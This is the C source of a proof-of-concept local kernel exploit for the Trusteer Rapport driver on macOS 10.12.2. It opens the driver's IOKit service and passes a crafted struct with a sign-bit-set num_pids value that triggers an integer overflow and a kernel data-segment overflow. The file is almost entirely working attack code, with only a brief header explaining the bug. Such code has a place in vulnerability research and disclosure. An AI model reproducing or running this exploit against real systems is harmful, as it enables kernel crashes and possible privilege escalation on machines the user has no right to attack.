/* rapport-smash-v2.c
 *
 * Copyright (c) 2017 by <mu-b@digit-labs.org>
 *
 * Trusteer Rapport local kernel overflow exploit - gakl_driver_2 PoC
 * by mu-b - Sat 11 Nov 2017
 *
 * $Id: rapport-smash-v2.c 44 2019-02-28 09:30:17Z mu-b $
 *
 * - Tested on: Trusteer Rapport (Apple MACOS X 10.12.2)
 *
 * signedess bug in num_pids leading to integer overflow and thus controllable
 * overflow into data segment.
 *
 * compile: ./rapport-smash-v2.sh
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2017!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <ApplicationServices/ApplicationServices.h>

#define MAX_PIDS    0xF9C
#define SMASH_LEN   0x10000

struct rapport_activate {
  uint32_t flag;
  uint32_t pad;
  uint32_t num_pids;
  uint32_t pids[MAX_PIDS / sizeof (uint32_t)];
  uint32_t max_unhandled_keys;
};

/* This could be done quite easily, if the osx linker wasn't so brain dead.
 * Newer versions seem to work....
 */
#if 0
char trusteer_crypto_signature[]
  __attribute__((section("__TRUSTEER, __AKL"))) = "VALIDATE_CHECK_DATA";
#endif

int
main (int argc, char **argv)
{
  struct rapport_activate active;
  io_connect_t rapport_port;
  io_service_t service;
  kern_return_t kr;

  printf ("Trusteer Rapport local kernel overflow exploit - gakl_driver_2 POC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2017!@$!\n\n");

  service = IOServiceGetMatchingService (kIOMasterPortDefault,
                                         IOServiceMatching("com_trusteer_rapportke_v2"));
  if (!service)
    {
      fprintf (stderr, "* IOServiceGetMatchingService failed, rapport running?\n");
      return (EXIT_FAILURE);
    }

  rapport_port = (io_connect_t) 0;
  kr = IOServiceOpen (service, mach_task_self (), 0, &rapport_port);
  IOObjectRelease (service);

  if (kr != kIOReturnSuccess)
    {
      fprintf (stderr, "* IOServiceOpen failed\n");
      return (EXIT_FAILURE);
    }

  memset (&active, 0, sizeof active);
  active.flag = 0x7F;
  active.num_pids = (1 << 31) | SMASH_LEN;
  active.pids[0] = getpid ();

  kr = IOConnectCallStructMethod (rapport_port, 2, &active, sizeof active, NULL, NULL);
  fprintf (stderr, "* rapport_activate IOConnectCallStructMethod %08X %d\n", kr, sizeof (active));

  /* not reachable */
  return (EXIT_SUCCESS);
}
